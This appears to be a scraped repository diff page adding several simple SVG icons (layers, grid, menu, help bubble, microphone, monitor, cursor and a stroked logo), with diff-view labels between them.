<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" width="48" height="48" fill="none" stroke="#000000" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" style="opacity:1;"><path d="M12.83 2.18a2 2 0 0 0-1.66 0L2.6 6.08a1 1 0 0 0 0 1.83l8.58 3.91a2 2 0 0 0 1.66 0l8.58-3.9a1 1 0 0 0 0-1.83z"/><path d="M2 12a1 1 0 0 0 .58.91l8.6 3.91a2 2 0 0 0 1.65 0l8.58-3.9A1 1 0 0 0 22 12"/><path d="M2 17a1 1 0 0 0 .58.91l8.6 3.91a2 2 0 0 0 1.65 0l8.58-3.9A1 1 0 0 0 22 17"/></svg>

After

Width:  |  Height:  |  Size: 491 B

View File

@ -0,0 +1,16 @@
<svg
xmlns="http://www.w3.org/2000/svg"
width="24"
height="24"
viewBox="0 0 24 24"
fill="none"
stroke="currentColor"
stroke-width="2"
stroke-linecap="round"
stroke-linejoin="round"
>
<rect width="7" height="7" x="3" y="3" rx="1" />
<rect width="7" height="7" x="14" y="3" rx="1" />
<rect width="7" height="7" x="14" y="14" rx="1" />
<rect width="7" height="7" x="3" y="14" rx="1" />
</svg>

After

Width:  |  Height:  |  Size: 416 B

View File

@ -0,0 +1,12 @@
<svg width="180" height="180" viewBox="0 0 180 180" fill="none" xmlns="http://www.w3.org/2000/svg">
<g clip-path="url(#clip0_19_13)">
<path d="M18 84.8528L85.8822 16.9706C95.2548 7.59798 110.451 7.59798 119.823 16.9706V16.9706C129.196 26.3431 129.196 41.5391 119.823 50.9117L68.5581 102.177" stroke="black" stroke-width="12" stroke-linecap="round"/>
<path d="M69.2652 101.47L119.823 50.9117C129.196 41.5391 144.392 41.5391 153.765 50.9117L154.118 51.2652C163.491 60.6378 163.491 75.8338 154.118 85.2063L92.7248 146.6C89.6006 149.724 89.6006 154.789 92.7248 157.913L105.331 170.52" stroke="black" stroke-width="12" stroke-linecap="round"/>
<path d="M102.853 33.9411L52.6482 84.1457C43.2756 93.5183 43.2756 108.714 52.6482 118.087V118.087C62.0208 127.459 77.2167 127.459 86.5893 118.087L136.794 67.8822" stroke="black" stroke-width="12" stroke-linecap="round"/>
</g>
<defs>
<clipPath id="clip0_19_13">
<rect width="180" height="180" fill="white"/>
</clipPath>
</defs>
</svg>

After

Width:  |  Height:  |  Size: 973 B

View File

@ -0,0 +1,15 @@
<svg
xmlns="http://www.w3.org/2000/svg"
width="24"
height="24"
viewBox="0 0 24 24"
fill="none"
stroke="currentColor"
stroke-width="2"
stroke-linecap="round"
stroke-linejoin="round"
>
<path d="M4 5h16" />
<path d="M4 12h16" />
<path d="M4 19h16" />
</svg>

After

Width:  |  Height:  |  Size: 279 B

View File

@ -0,0 +1 @@
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" width="24" height="24" fill="none" stroke="#000000" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" style="opacity:1;"><path d="M2.992 16.342a2 2 0 0 1 .094 1.167l-1.065 3.29a1 1 0 0 0 1.236 1.168l3.413-.998a2 2 0 0 1 1.099.092a10 10 0 1 0-4.777-4.719"/><path d="M9.09 9a3 3 0 0 1 5.83 1c0 2-3 3-3 3m.08 4h.01"/></svg>

After

Width:  |  Height:  |  Size: 394 B

View File

@ -0,0 +1 @@
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" width="24" height="24" fill="none" stroke="#000000" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" style="opacity:1;"><path d="M12 19v3m7-12v2a7 7 0 0 1-14 0v-2"/><rect width="6" height="13" x="9" y="2" rx="3"/></svg>

After

Width:  |  Height:  |  Size: 294 B

View File

@ -0,0 +1,15 @@
<svg
xmlns="http://www.w3.org/2000/svg"
width="24"
height="24"
viewBox="0 0 24 24"
fill="none"
stroke="currentColor"
stroke-width="2"
stroke-linecap="round"
stroke-linejoin="round"
>
<rect width="20" height="14" x="2" y="3" rx="2" />
<line x1="8" x2="16" y1="21" y2="21" />
<line x1="12" x2="12" y1="17" y2="21" />
</svg>

After

Width:  |  Height:  |  Size: 346 B

View File

@ -0,0 +1 @@
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" width="48" height="48" fill="none" stroke="#000000" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" style="opacity:1;"><path d="M4.037 4.688a.495.495 0 0 1 .651-.651l16 6.5a.5.5 0 0 1-.063.947l-6.124 1.58a2 2 0 0 0-1.438 1.435l-1.579 6.126a.5.5 0 0 1-.947.063z"/></svg>

After

Width:  |  Height:  |  Size: 350 B

Some files were not shown because too many files have changed in this diff Show More